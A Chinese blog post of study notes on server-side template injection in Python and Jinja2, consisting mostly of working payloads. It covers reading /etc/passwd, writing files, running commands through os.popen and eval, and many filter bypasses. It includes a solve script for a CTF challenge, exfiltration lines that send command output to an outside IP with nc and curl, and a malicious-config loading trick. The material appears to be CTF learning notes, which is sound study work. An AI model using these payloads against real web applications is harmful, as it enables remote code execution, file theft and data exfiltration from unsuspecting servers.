初探SSTI

前言

最近需要加紧修炼,听取师傅建议,博文还是当作笔记来看待,自己能看懂即可。

如有问题欢迎指教 : )

QICQ:1609410364

前置知识

名称 介绍
__dict__ 这个属性中存放着类的属性和方法对应的键值对,实测module也有这个属性
__class__ 返回一个实例对应的类型
__base__ 返回一个类所继承的基类
__subclasses__() 返回该类的所有子类
__mro__ python支持多重继承,在解析__init__时,定义解析顺序的是子类的__mro__属性(值是类的元组)
__slots__ 限制类动态添加属性
__getattribute__() 获取属性或方法,对模块和类都有效
__getitem__() 以索引取值或者键取值
__globals__ 返回函数所在模块命名空间中的所有变量

SSTI 判断流程

payload under python2

读文件

1
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
1
().__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()

PS:由于python3已经移除了file类,所以是找不到file类的,可以自己写个脚本确认一下。

写文件

1
().__class__.__bases__[0].__subclasses__()[40]('/home/adu1t/Desktop/test.txt','w').write('sketch_pl4ne_wants_a_girlfriend')

只是换个函数,就不多讲了。

命令执行

1
().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()
1
().__class__.__bases__[0].__subclasses__()[73].__init__.__globals__['os'].popen('whoami').read()

思路就是从对象回溯到object类,然后再向下找os类,直接fuzz获取存在os模块的类的索引即可。

通用

1
2
# popen().read()回显命令
().__class__.__bases__[0].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")

对于没有回显的函数可以用无回显命令执行的思路

1
2
3
4
# system返回int型值,不回显命令
().__class__.__bases__[0].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami| nc 192.168.179.133 2333')")
# VPS
nc -lvp 2333

思路差不多,不过是找builtins类,在py2与py3都存在,只是可利用的类的位置有差异。

payload under python3

命令执行

通用

1
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")

PS:这里思路是寻找builtins类,通过内置方法走一个命令执行,由于py2与py3在这个类上区别并不大,所以这个方法的理论上是通用的。

我们只需要在不同环境fuzz出子类中存在builtins这个模块的类的即可。

Bypass tricks

原理5分钟,Bypass两小时。

字符拼接

1
().__class__.__bases__[0].__subclasses__()[40]('/etc'+'/passwd').read()

编码绕过

1
2
3
4
# 原语句
().__class__.__bases__[0].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# 编码后
().__class__.__bases__[0].__subclasses__()[58]. __init__.__globals__['__builtins__']['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp".decode('base64'))

同理也可以进行其他种类编码。下面是一道例题:

[GYCTF2020]FlaskApp

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -- coding: utf-8 --
import requests
import base64

url = "http://c2db084a-c531-4ecf-8f13-61b4973a1d7c.node3.buuoj.cn/decode"
s = requests.session()

a = '{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["o"+"s"]["po"+"pen"]("ca"+"t /this_is_the_fl"+"ag.txt").read()}}'
# {{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["cG9wZW4=".decode("base64")]("whoami").read()}}
print base64.b64encode("os")
text = base64.b64encode(a)
print text
data = {'text': text, 'submit':'提交'}
r = s.post(url, data).text.encode("utf-8")
if 'no no no' not in r:
print r

Bypass 中括号

读文件

1
().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(40)('/etc/passwd').read()

命令执行

1
2
# 通用 __builtins__
().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(58).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
1
2
# os.popen().read()
().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(71).__init__.__globals__.values().__getitem__(-2).popen('ls').read()

这里我们还可以进一步bypass掉单引号 ; )

1
2
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.chr
%}{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(71).__init__.__globals__.os.popen(chr(108)%2bchr(115)).read()}}

如果os被过滤了,那很自然想到用values()找到它

1
2
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.chr
%}{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(71).__init__.__globals__.values().__getitem__(-2).popen(chr(108)%2bchr(115)).read()}}

如果chr()也被过滤了呢?我们可能会开始考虑从其他地方拿字符出来拼接:

1
2
3
# os.popen('ls').read()
{% set str=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.str
%}{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(71).__init__.__globals__.os.popen(str(().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(7)).__getitem__(7)%2bstr(().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(7)).__getitem__(9)).read()}}

由于GET传参是有长度限制的,另外一个个去找字符拼接命令太沙雕了,是不是到这就为止了呢?

nono哒哟!或许我们可以寻找一个专门包含字符集的模块?string模块显然符合我们的要求,那么问题就是能否在payload中导入这个模块了,这里由于女神找我聊天,挖个坑,相信成功的话就又是一个有趣的姿势了。

事实上,我们完全可以取一个别名来绕过这一限制(没想到吧hhh

1
2
{% set sketch_pl4ne=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.chr
%}{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(71).__init__.__globals__.values().__getitem__(-2).popen(sketch_pl4ne(108)%2bsketch_pl4ne(115)).read()}}

Bypass 下划线

这里采用 request.args.param将参数外带,适用于只对指定参数进行检测的过滤规则。

PS:request基本可以bypass许多的限制,绝不仅仅局限于下划线。

读文件

1
2
3
4
{{
''[request.args.class][request.args.mro][-1][request.args.subclasses]()[40](request.args.payload).read()
}}
&class=__class__&mro=__mro__&subclasses=__subclasses__&payload=/etc/passwd

Bypass 左双花括号

使用到了无回显的命令执行

1
2
3
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://192.168.179.133:2333/?i=`whoami`').read()=='p' %}1{% endif %}
# VPS
nc -lvp 2333

其他姿势

无__globals__命令执行

1
{{[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.popen('ls').read()}}

加载自定义模块

写入配置文件

1
2
3
4
# payload1
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
# payload2
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}

利用config.from_pyfile('file_name')加载文件

1
{{ config.from_pyfile('/tmp/evil') }}

命令执行

1
2
3
{{ config['CMD']('whoami | nc 192.168.179.133 2333') }}
# VPS
nc -lvp 2333

控制语句Fuzz脚本

用于快速锁定所需模块的位置(因为题目环境可能和本地有所差异,人工Fuzz费时费力)

Some scripts

环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask
from flask import render_template_string
from flask import request
import os

app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name')
print(name)

blacklist = []
for bad_string in blacklist:
if bad_string in name:
return "Oh, such a shame, {} is not allowed ;)".format(bad_string)

template = '<h1>hello {}!</h1>'.format(name)
return render_template_string(template)

if __name__ == '__main__':
app.run('0.0.0.0')

Fuzz_py2

1
2
3
4
5
6
7
8
9
10
11
# -- coding: utf-8 --
# 寻找有os类的object子类
search = 'os'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

Fuzz_all

1
2
3
4
5
6
7
8
9
10
11
12
# -- coding: utf-8 --
# 切换运行python版本即可获取所需模块的索引

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

控制语句Fuzz

1
2
3
4
5
6
7
8
9
10
11
12
# 直接插在注入点即可
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

参考链接

https://0day.work/jinja2-template-injection-filter-bypasses/

https://www.smi1e.top/flask-jinja2-ssti-%E5%AD%A6%E4%B9%A0/

https://www.anquanke.com/post/id/188172#h3-14

https://p0sec.net/index.php/archives/120/

https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/

小结

女神脱单了。。也没什么好遗憾的,女神幸福就好,祝他们早日分手吧= =

她真的是,很特别的那种,实话说她长相一般,但是她的性格,仿佛能驱散我内心的抑郁。

还有一些小坑以及几道题以及前置知识,下次再说,准备比赛了。

0%